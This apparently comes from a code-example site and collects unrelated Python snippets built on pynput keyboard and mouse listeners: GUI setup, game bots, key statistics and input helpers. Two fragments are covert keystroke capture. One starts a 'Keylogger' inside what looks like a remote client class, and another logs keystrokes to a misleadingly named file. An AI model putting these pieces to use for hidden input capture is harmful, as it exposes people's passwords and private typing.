        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Shadow, brush)
        brush = QtGui.QBrush(QtGui.QColor(127, 212, 127))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.AlternateBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ToolTipBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ToolTipText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Light, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Midlight,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Dark, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Mid, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.BrightText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Shadow, brush)
        brush = QtGui.QBrush(QtGui.QColor(127, 212, 127))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.AlternateBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ToolTipBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ToolTipText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Inactive,
                         QtGui.QPalette.PlaceholderText, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Light, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Midlight,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Dark, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Mid, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.BrightText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
                         brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
        gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
        gradient.setSpread(QtGui.QGradient.PadSpread)
        gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
        gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
        gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
        brush = QtGui.QBrush(gradient)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Shadow, brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 170, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.AlternateBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ToolTipBase,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ToolTipText,
                         brush)
        brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
        brush.setStyle(QtCore.Qt.SolidPattern)
        palette.setBrush(QtGui.QPalette.Disabled,
                         QtGui.QPalette.PlaceholderText, brush)
        self.drawButton.setPalette(palette)
        self.drawButton.setStyleSheet(
            "background-color: qradialgradient(spread:pad, cx:0.5, cy:0.5, radius:0.5, fx:0.5, fy:0.5, stop:0 rgba(0, 134, 22, 255), stop:1 rgba(0, 74, 26, 255));\n"
            "font-weight: bold;\n"
            "color: white;\n"
            "height: 30px;\n"
            "")
        self.drawButton.setObjectName("drawButton")
        self.verticalLayout.addWidget(self.drawButton)
        spacerItem8 = QtWidgets.QSpacerItem(20, 40,
                                            QtWidgets.QSizePolicy.Minimum,
                                            QtWidgets.QSizePolicy.Expanding)
        self.verticalLayout.addItem(spacerItem8)
        self.errorLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
        self.errorLabel.setStyleSheet("color: rgb(170, 0, 0);\n"
                                      "font-weight: bold;\n"
                                      "")
        self.errorLabel.setObjectName("errorLabel")
        self.verticalLayout.addWidget(self.errorLabel, 0,
                                      QtCore.Qt.AlignHCenter)
        MainWindow.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(MainWindow)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 299, 21))
        self.menubar.setObjectName("menubar")
        MainWindow.setMenuBar(self.menubar)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        # Custom values
        self.width = 0
        self.height = 0
        self.startPosition = (0, 0)
        self.ignorePixels = False
        self.dither = False
        self.speed = 3
        self.pixelInterval = 5
        self.url = ""
        self.app = 0
        self.colors, self.coordinates = utils.getPalette(self.app)
        self.drawingThread = None

        # Signals
        self.coordinateButton.clicked.connect(self.displayMouseCoordinates)
        self.setBoundsButton.clicked.connect(self.setBounds)
        self.ditherBox.clicked.connect(self.setDither)
        self.ignorePixelBox.clicked.connect(self.setIgnorePixel)
        self.speedSlider.valueChanged.connect(self.setSpeed)
        self.skippedPixelSlider.valueChanged.connect(self.setPixelInterval)
        self.appBox.currentIndexChanged.connect(self.setApp)
        self.urlTextBox.textChanged.connect(self.setUrl)
        self.drawButton.clicked.connect(self.draw)

        # Collect keyboard events
        listener = Listener(on_press=self.on_press)
        listener.start()

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
Beispiel #9
0
    def __init__(self, game):
        self.game = game
        self.action_list = []

        listener = Listener(on_press=self.on_press)
        listener.start()
Beispiel #10
0
def hotkey():
    #Thread that listens for the ctrl key
    listener = Listener(on_press=on_press, on_release=on_release)
    listener.daemon = True
    listener.start()
Beispiel #11
0
    for proc in process.children(recursive=True):
        proc.kill()
    process.kill()


def OnKeyboardEvent(event):
    logging.info(f"{event}")


if _pynput:
    KeyListener = Listener(on_press=OnKeyboardEvent)
    # Check the state of the keylogger from logs
    if os.path.isfile(LOG):
        for line in reverse_readline(LOG):
            if 'Started Keylogger' in line:
                KeyListener.start()
                break
            if 'Stopped Keylogger' in line:
                break


class Client(object):
    def __init__(self,
                 key: bytes,
                 host: str = '127.0.0.1',
                 port: int = 8000) -> None:
        self.serverHost = host
        self.serverPort = port
        self.socket = None
        self.Fer = Fernet(key)
        if platform.system() == 'Windows':
Beispiel #12
0
def on_click(x, y, button, pressed):
    global holding_mouse
    if tracking and pressed:
        graph.clicks += 1
        graph.add_action(time.time())

    if pressed:
        holding_mouse = True
    else:
        holding_mouse = False


klistener = KListener(on_press=on_press, on_release=on_release)
mlistener = MListener(on_click=on_click)
klistener.start()
mlistener.start()
""" ----------------------  Building GUI layout  ---------------------------"""

# Initializing Window
Fenetre = tk.Tk()
Fenetre.geometry("{}x{}".format(width, height))
Fenetre.title("apm_tool v.{}".format(version))
Fenetre.config(background="black")
Fenetre.iconbitmap('icon.ico')

# Main button that toggles apm tracking
main_button_f = tk.Frame(Fenetre, width=width // 3, height=height // 8)
main_button_f.pack_propagate(0)  # don't shrink
main_button_f.place(x=0, y=0)
main_button = tk.Button(main_button_f,
Beispiel #13
0
class KeyboardWatcher:
    def __init__(self, key_handlers: Sequence, verbose: bool = False):
        self._pool = KeyPool()
        self._verbose = verbose

        # sort them in order to give combinations precedence
        key_handlers = sorted(
            key_handlers,
            key=lambda x: len(x.trigger),
            reverse=True,
        )
        self._handlers = {handler.trigger: handler for handler in key_handlers}

        self._listener = None

        target = partial(infinite_handle_cycle,
                         active_keys=self.pressed,
                         handlers=self._handlers,
                         handle_method_name='press')
        hold_thread = Thread(target=target, daemon=True)
        hold_thread.start()

        self._listener = Listener(
            on_press=self.handle_press,
            on_release=self.handle_release,
            # suppress=True,
        )

    @property
    def pressed(self):
        return self._pool.pressed

    @property
    def released(self):
        return self._pool.released

    @staticmethod
    def _get_pressed_key(key: KeyCode):
        if isinstance(key, KeyCode):
            key_name = key.char
        elif isinstance(key, Key):
            key_name = key.name
        else:
            raise ValueError

        try:
            key_name = key_name.lower()
        except AttributeError:
            return None

        return key_name

    def handle_press(self, key: KeyCode):
        key_name = self._get_pressed_key(key)

        if (key_name and key_name not in self.pressed):
            self.pressed.add(key_name)

        if self._verbose:
            print(f'pressed: {self.pressed}')

    def handle_release(self, key: KeyCode):
        key_name = self._get_pressed_key(key)

        if key_name in self.pressed:
            self.pressed.remove(key_name)
            self.released.add(key_name)

            _handle_cycle(self.released, self._handlers, 'release')
            self.released.remove(key_name)

        if self._verbose:
            print(f'released: {self.pressed}')

    def join(self):
        while self._listener.is_alive():
            self._listener.join(0.1)

    def __enter__(self):
        self._listener.start()
        self._listener.wait()
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self._listener.stop()

    def start(self):
        self._listener.start()
        while True:
            time.sleep(0.1)
				#Initialize input buffer file
				g_keyIndexes = OrderedDict()

				for index in range(0, len(g_keyArray), 1):
					g_keyIndexes[g_keyArray[index]] = index

				stateArrayLength = len(g_keyIndexes)
				if (len(g_keyIndexes)%4):
					stateArrayLength += 4 - len(g_keyIndexes)%4
				
				g_keyboardStateArray = np.zeros(stateArrayLength, dtype=np.uint8)
				initializeInputBufferFile(inputBufferPath, g_keyboardStateArray)

				#Initialize keyboard listener
				listenerThread = Listener(on_press=onKeyPress, on_release=onKeyRelease)
				listenerThread.start()

			programInputsFile.close()


		#Compile into vvp with icarus verilog
		print("Compiling verilog")
		command = "iverilog {} -I rtl -I testbenches -g2005-sv -o simulation/{}/{}.vvp | grep error".format(testbenchPath, testbenchName, testbenchName)
		print("+ {}{}".format(command, COLORS.ERROR))
		os.system(command)
		print(COLORS.DEFAULT)

		#Run vvp
		dumpFlag = ""
		if (dumpValues):
			dumpFlag = "-vcd"
Beispiel #15
0
class keyTracker():
    def __init__(self):
        self.allKeyPresses = [] # tracks every single key press and release
        self.keyInfoDic = {} # backbone of the program, tracks all relevant info on each key (that has been pressed at least once)
        self.combos = [] # tracks all combanations of keys pressed (in a single frame)
        self.keyHistory = [] # i mean allKeyPresses kinda does the same thing but im lazy
        self.justPressed = False
        self.totalTimePressed = 0
        self.tick = 0
        self.stop = False

        self.listener = Listener(on_press = self.on_press, on_release = self.on_release)
        self.listener.start()
    
    def on_press(self, key):
        if (self.canInitNewKey(key) == True):
            self.keyInfoDic.get(key).press()
        self.getCombo() # dont think this will cause any problems srsly

    def on_release(self, key):
        self.allKeyPresses.append(f"(R){key}")
        self.keyHistory.append(True)
        self.justPressed = True
        if (self.canInitNewKey(key) == True):
            self.keyInfoDic.get(key).release()

    def canInitNewKey(self, key, tryToCreate = True):
        if (key in self.keyInfoDic):
            return True
        if (tryToCreate):
            self.keyInfoDic[key] = keyInfo(key, self)
        try:
            self.keyInfoDic.get(key).amountPressed
            return True
        except:
            return False
        return False

    def update(self):
                
        holder = self.getAllKeysCurrentlyPressed()
        if (len(holder) == 3 and Key.cmd in holder and Key.shift in holder and Key.esc in holder):
            self.end()
            return
        
        self.tick += 1
        if (self.tick == 60):
            self.tick = 0
        
        self.getCombo()

        if (self.justPressed == False):
            self.keyHistory.append(False)
        else:
            self.justPressed = False

        for key in self.keyInfoDic.values():
            key.update()
    
    def getAllKeysCurrentlyPressed(self):
        holder = []
        for key in self.keyInfoDic.values():
            if (key.isCurrentlyPressed):
                holder.append(key.name)
        return holder

    def getCombo(self): # combo is capped is some places where it makes no sense bc i og named it patterns but i actually need that name somewhere else so i just replaced all of them
        # check if theres a new Combo

        # get all keys current pressed that frame
        newCombo = self.getAllKeysCurrentlyPressed()
        
        if (len(newCombo) < 2):
            return

        # check if the Combo already exists
        isUnique = True
        for Combo in self.combos:
            if (self.areListSame(Combo[0], newCombo) == False):
                continue
            else:
                Combo[1] += 1
                isUnique = False
                break
        if (isUnique):
            # add the Combo if it doesnt
            self.combos.append([newCombo, 1])

        # check if the current.combos contains any.combos of other key
        for Combo in self.combos: # yes im repeating it here but it just looks better ok and there are so many more optimzations u can make y focus on this
            if (self.isListSubset(Combo, newCombo)):
                Combo[1] += 1

    def isListSubset(self, smallerList, biggerList):
        if (len(smallerList) >= len(biggerList)):
            return False
        for content in smallerList:
            if (content not in biggerList):
                return False
        return True

    def areListSame(self, list1, list2):
        if (len(list1) == len(list2)):
            for content in list1:
                if (content not in list2):
                    return False
            return True
        return False

    def end(self):
        self.listener.stop()
        self.stop = True

        username = os.getlogin()
        filePath = os.path.join(f"/Users/{username}/Desktop", "keyInfo.txt")
        f = open(filePath, "w")

        longestKeyHeld = ["null", 0]
        mostAmountOfReleases = ["null", 0]
        mostCommonCombo = [["null"], 0]

        f.write("Key Info\n")
        # print info about how long keys were pressed
        for key in self.keyInfoDic.keys():
            i = self.keyInfoDic[key]

            # get percentage of time a key was pressed, and how long in total
            f.write(f"\n{key}: {round(((i.allTimePressed * 100) / self.totalTimePressed), 2)}% | {round(i.maxTimePressed/60, 2)}s")

            # get longest time a key was held
            if (i.maxTimePressed/60 > longestKeyHeld[1]):
                longestKeyHeld[0] = i.name
                longestKeyHeld[1] = round(i.maxTimePressed/60, 2)
            
            # get most amount of key presses for a single key
            if (i.amountReleased > mostAmountOfReleases[1]):
                mostAmountOfReleases[0] = i.name
                mostAmountOfReleases[1] = i.amountReleased
        
        # get info about combos
        for combo in self.combos:
            if (combo[1] > mostCommonCombo[1]):
                mostCommonCombo = combo

        # get info on presses per min
        enoughInfoForPPM = True
        if (len(self.keyHistory) < 120):
            # only display infomation about ppm if the user has been running the program for more then 2 mins
            # hmm yeah this doesnt seem to work but i cant be bothered lol
            enoughInfoForPPM = False
        else:
            distToEnd = len(self.keyHistory)
            # very good naming scheme
            maxAmountInPeriod = 0
            minAmountInPeriod = 100
            holderInPeriod = 0
            indexInPeriod = 0
            while (distToEnd >= 60):
                presses = self.keyHistory[indexInPeriod: indexInPeriod + 60]
                amountOfValidPresses = 0
                for i in presses:
                    if (i):
                        amountOfValidPresses += 1
                holderInPeriod += amountOfValidPresses
                if (minAmountInPeriod > amountOfValidPresses):
                    minAmountInPeriod = amountOfValidPresses
                elif (maxAmountInPeriod < amountOfValidPresses):
                    maxAmountInPeriod = amountOfValidPresses

                distToEnd -= 1
                indexInPeriod += 1


        f.write("\n\n------\nGeneral Info\n")
        f.write(f"\nLongest key held: {longestKeyHeld[0]} for {longestKeyHeld[1]}s")
        f.write(f"\nMost key presses: {mostAmountOfReleases[0]} x{mostAmountOfReleases[1]}")
        f.write(f"\nMost common combination of keys: {combo[0]}, held for {round(combo[1]/60, 2)}s")
        if (enoughInfoForPPM):
            f.write(f"\nMost key presses per minute: {maxAmountInPeriod}")
            f.write(f"\nMinimum key presses per minute: {minAmountInPeriod}")
            f.write(f"\nAverage key presses per minute: {round(holderInPeriod/indexInPeriod, 2)}")
        else:
            f.write("\nRun the program for more then 2 minutes to recieve data on key presses per minute")
        f.close()
        print(f)
Beispiel #16
0
        inputs.append(mouse_scroll)
        count += 1
        if count >= 10:
            count = 0
            save(inputs)
            inputs = []


def save(keys):
    with open("screen_recording.txt", "a") as file:
        for key in keys:
            _key = str(key).replace("'", "")
            if _key.find("space") > 0:
                file.write("\n")
            elif _key.find("key") == -1:
                file.write(_key)


# Setup the listener threads
keyboard_listener = KeyboardListener(on_press=on_press, on_release=on_release)
mouse_listener = MouseListener(on_move=on_move,
                               on_click=on_click,
                               on_scroll=on_scroll)

# Start the threads and join them so the script doesn't end early
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()

# see https://pythonhosted.org/pynput/ for details of the library
import autopy
from pynput.keyboard import Key, Listener
import winsound

SWITCH = False

def on_release(key):
    global SWITCH

    if key == Key.f8:
        if SWITCH:
            winsound.Beep(600, 300)
        else:
            winsound.Beep(2000, 300)
        SWITCH = not SWITCH

if __name__ == "__main__":
    print("diablo auto t16 entrance program is running")
    print("press F8 to toggle the switch")
    print("author: Zhang SY")
    print("mail: [email protected]")
    print("release version 1.0.0")
    print("May 26th, 2019")
    key_listener = Listener(on_release=on_release)
    key_listener.start()

    while True:
        if SWITCH:
            autopy.mouse.click()
        else:
            pass
Beispiel #18
0
    def input_withtimeout_linux(self,
                                informmsg='test:',
                                func=int,
                                timeout=Config.Select_Timeout,
                                default=None):
        def str2width(str):
            str_b = str.encode()
            l_m = len(str_b) - len(str)
            return str.ljust(int(self.width - l_m))

        #inform=str2width(informmsg+'(%2d):'%(timeout))
        start_time = time.time()
        input_str = ''
        goon = True

        def press(key):
            nonlocal input_str, goon
            try:
                #print (key, type(key))
                input_str += key.char
            except AttributeError:
                #print (key, type(key))
                if key == Key.esc:
                    goon = False
                    input_str = default
                    return False
                elif key == Key.space:
                    input_str += ' '
                elif key == Key.enter:  #按下enter时如果未输入则不管他
                    input()  #清空输入字符在缓冲区中未读取导致执行命令
                    if input_str:
                        goon = False
                        return False
                elif key == Key.backspace:
                    input_str = input_str[:-1]

        #Call pynput.keyboard.Listener.stop from anywhere, raise StopException or return False from a callback to stop the listener
        listener = Listener(on_press=press)
        listener.start()

        while goon:
            #print ("\b"*len(inform), end='')
            print("\r", end='')
            inform = str2width(informmsg + '(%2d):' %
                               (timeout - time.time() + start_time) +
                               input_str)
            print("\r" + inform, end='')

            if (time.time() - start_time) > timeout:
                listener.stop()
                return default
            time.sleep(0.1)

        if not input_str: return default

        try:
            input_str = func(input_str)
        except Exception as e:
            #print ('input error:'+str(e), end='')
            return default

        return input_str
Beispiel #19
0
class KeyboardLogger():
    """
    Class for logging the keyboard in another thread
    Key presses are stored in dictinoary keyDict
    """
    def __init__(self, stop=Key.f12):

        self.logging = False
        self.stopButton = stop

        self.keyDict = {}
        self.wordDict = {}
        self.allowed = string.ascii_uppercase

        self.blackList = []
        self.whiteList = []

    def setBlackList(self, blist):
        """
        Set black-list to string of characters and empties white-list.
        Returns new black-list
        """

        self.blackList = blist
        self.whiteList.clear()

        return self.blackList

    def setWhiteList(self, wlist):
        """
        Set white-list to string of characters and empties black-list.
        Returns new white-list
        """

        self.whiteList = wlist
        self.blackList.clear()

        return self.whiteList

    def getBlackList(self):
        """
        Get string of current black-list
        """

        return self.blackList

    def getWhiteList(self):
        """
        Get string of current white-list
        """

        return self.whiteList

    def addSpecialChars(self, charList):
        """
        Add a list of characters to be logged.
        Characters of modifiers are not tracked.
        """

        self.allowed += "".join(charList)
        return self.allowed

    def on_press(self, key):
        """
        Add the given keypress to the dictionary if the key is not some arbitrary symbol.
        """

        if self.checkStop(key):
            try:
                upperKey = key.char.upper()
                if upperKey in self.allowed:
                    if (not self.blackList and not self.whiteList) or (
                        (self.blackList and upperKey not in self.blackList) or
                        (self.whiteList and upperKey in self.whiteList)):
                        print(upperKey)
                        if upperKey in self.keyDict:
                            self.keyDict[upperKey] += 1
                        else:
                            self.keyDict[upperKey] = 1
            except:
                pass

    def checkStop(self, key):
        """
        Return if the given key is the stopkey.
        If True, this will also stop the logging.
        """

        if key is self.stopButton:
            self.toggle()
        return self.logging

    def toggle(self):
        """
        Toggle the logging
        """

        if self.logging:
            print("Logging Stopped")
            self.logging = False
            self.keyListener.stop()
        else:
            print("Logging Started")
            self.logging = True
            self.run()
        return self.logging

    def flush(self):
        """
        Flush the data-dictionaries
        """

        self.keyDict = {}
        self.wordDict = {}

    def run(self):
        """
        Runs the keyListener
        """

        self.keyListener = Listener(on_press=self.on_press)
        self.keyListener.start()

    def stop(self):
        """
        Stop logger
        """
        self.keyListener.stop()
Beispiel #20
0
class KeyboardDriver(object):
    def __init__(self):
        self.name = 'keyboard-driver'
        self.angles = ['-90','-75','-60','-45','-30','-20','-15','-10','-5','0','5','10','15','20','30','45','60','75','90'] # len = 19
        self.keymap = {}
        self.keys = []
        self.thread = None
        self.running = False
        self.state = {'accel':0,'brake':0,'steer':0,'gear':0,'clutch':0,'focus':0.0,'meta':0}

    def create(self):
        from pynput.keyboard import Controller, Listener, Key, KeyCode
        Controller()
        self.keymap = {Key.left:self.steer_left
                      ,Key.up:self.accelerator
                      ,Key.right:self.steer_right
                      ,Key.down:self.dummy
                      ,Key.space:self.braker
                      ,'w':self.shift_up
                      ,'s':self.shift_down}
        self.keys = self.keymap.keys()
        self.thread = Listener(on_press=self.press,on_release=self.release)
        self.running = True
        self.thread.start()
        #self.thread.join()
        return self

    # available keys in Key
        # ,'f1','f10','f11','f12','f13','f14','f15','f16','f17','f18','f19','f2','f20','f3','f4','f5','f6','f7','f8','f9'
        # ,'alt_gr','alt_l','alt_r','backspace','caps_lock','cmd','cmd_r' ,'ctrl','ctrl_r','delete','end','enter','esc'
        # ,'home','insert','menu','num_lock','page_down','page_up','pause','print_screen','scroll_lock','shift','shift_r','space','tab'
        # ,'left','right','down','up','space'
        # ,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
        # ,'a,'b,'c,'d,'e,'f,'g,'h,'i,'j,'k,'l,'m,'n,'o,'p,'q,'r,'s,'t,'u,'v,'w,'x,'y,'z'
    def press(self,key):
        if key in self.keys:
            self.keymap.get(key)(True)
        elif hasattr(key,'char'):
            if(key.char in self.keys):
                self.keymap.get(key.char)(True)            
        return self.running

    def release(self,key):
        if key in self.keys:
            self.keymap.get(key)(False)
        elif hasattr(key,'char'):
            if(key.char in self.keys):
                self.keymap.get(key.char)(False)  
        return self.running

    def kill(self,data=[]):
        self.running = False
        return self

    def accelerator(self,pressed):
        if(pressed):
            self.state['accel'] = 1
        else:
            self.state['accel'] = 0

    def braker(self,pressed):
        if(pressed):
            self.state['brake'] = 1
        else:
            self.state['brake'] = 0

    def steer_left(self,pressed):
        if(pressed):
            self.state['steer'] = 1
        else:
            self.state['steer'] = 0

    def steer_right(self,pressed):
        if(pressed):
            self.state['steer'] = -1
        else:
            self.state['steer'] = 0

    def shift_up(self,pressed):
        self.state['gear'] = self.state['gear']+1

    def shift_down(self,pressed):
        self.state['gear'] = self.state['gear']-1

    def dummy(self,pressed):
        print 'dummy'
Beispiel #21
0
class OsuBot:
    def __init__(self,
                 mode='7k',
                 bind_key=Key.num_lock,
                 quit_key=Key.esc,
                 note_delay=0.004,
                 monitor={
                     "top": 860,
                     "left": 300,
                     "width": 500 + 250,
                     "height": 28
                 },
                 y_center=0,
                 note_height=25,
                 thres=65):

        self.bind_key = bind_key
        self.quit_key = quit_key
        self.note_delay = note_delay
        self.monitor = monitor
        self.y_center = y_center
        self.note_height = note_height
        self.thres = thres
        self.noteAction = self.hit
        self.combo = 0

        if mode == '10k':
            self.keys = {
                'q': 40,
                'w': 110,
                'e': 175,
                'r': 240,
                't': 310,
                'y': 466,
                'u': 532,
                'i': 600,
                'o': 668,
                'p': 735
            }
        else:
            self.keys = {
                'q': 40,
                'w': 110,
                'e': 175,
                'r': 240,
                't': 310,
                'y': 375,
                'u': 445
            }

